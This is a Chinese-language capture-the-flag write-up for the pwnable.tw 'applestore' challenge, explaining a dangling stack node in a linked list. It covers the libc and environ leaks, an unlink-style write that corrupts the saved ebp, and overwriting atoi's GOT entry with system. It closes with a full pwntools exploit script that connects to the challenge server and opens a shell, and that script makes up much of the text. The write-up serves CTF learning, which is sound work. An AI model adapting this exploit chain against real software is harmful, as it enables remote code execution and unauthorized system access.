本题的漏洞是checkout函数中向链表中插入了一个栈上的节点. (个人理解, 这像是栈上的Use After Free?)
unsigned int checkout()
{
int total_price; // [esp+10h] [ebp-28h]
mystruct a1; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
total_price = cart();
if ( total_price == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&a1.str, "%s", "iPhone 8");
a1.price = 1;
insert(&a1);
total_price = 7175;
}
printf("Total: $%d\n", total_price);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}
首先触发checkout函数, 然后就可以在cart中直接修改最后一个节点, 这样就可以泄露libc地址
本题的保护是Partial RELRO, 可以修改GOT, 所以考虑把某个GOT表项修改为system
在delete函数中同样可以直接修改最后一个节点, 这样就可以构造出一个next和pre, 向next->pre和pre->next处写入. 我们可以把next设为某个GOT表项, 但是pre不能使system的地址, 因为libc不能写入, 所以需要其他办法
在handler中也有一个char nptr[22];如果可以把ebp的值改写为GOT表项附近的值, 那么向nptr写入时(实际是向ebp-0x22处写入), 就可以直接改写GOT表项.
所以考虑改写ebp的值, 这需要获取栈上保存的ebp值的地址, 获取这一地址的方式是先泄露environ的值, environ的值和栈上保存ebp的地址的差是一个定值(因为environ是程序初始化时栈顶的位置, 此后所有函数调用对栈的操作都是确定的, 但是和libc版本有关), 可以通过gdb调试获得.
得到保存ebp的地址后, 就可以改写ebp为某个GOT表项附近的值, 最终要覆盖的GOT表项选择atoi
完整exp:
#!/usr/bin/env python3
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
libc = ELF('./libc_32.so.6')
#p = process('./applestore')
p = remote('chall.pwnable.tw', '10104')
_libc_start_main_got = 0x0804B034
atoi_got = 0x0804B040
def add(num):
p.sendafter(b'> ', b'2')
p.sendafter(b'Device Number> ', num)
def delete(num):
p.sendafter(b'> ', b'3')
p.sendafter(b'Item Number> ', num)
def cart(str):
p.sendafter(b'> ', b'4')
p.sendafter(b'Let me check your cart. ok? (y/n) > ', str)
def checkout():
p.sendafter(b'> ', b'5')
p.sendafter(b'Let me check your cart. ok? (y/n) > ', b'y')
#7174=199*6+299*20
for _ in range(6):
add(b'1')
for _ in range(20):
add(b'2')
checkout()
payload1 = b'yy' + p32(_libc_start_main_got) + p32(1) + p32(0) + p32(0)
cart(payload1)
p.recvuntil(b'27: ')
_libc_start_main_ad = u32(p.recv(4))
print('__libc_start_main at ' + hex(_libc_start_main_ad))
libc_start = _libc_start_main_ad - libc.symbols['__libc_start_main']
system_ad = libc_start + libc.symbols['system']
environ_ad = libc_start + libc.symbols['environ']
payload2 = b'yy' + p32(environ_ad) + p32(1) + p32(0) + p32(0)
cart(payload2)
p.recvuntil(b'27: ')
environ = u32(p.recv(4))
print('environ at ' + hex(environ))
ebp_ad = environ - 0x104
payload3 = b'27' + p32(0) + p32(0) + p32(atoi_got + 0x22) + p32(ebp_ad - 0x8)
delete(payload3)
p.sendlineafter(b'> ', p32(system_ad) + b';/bin/sh\x00')
p.interactive()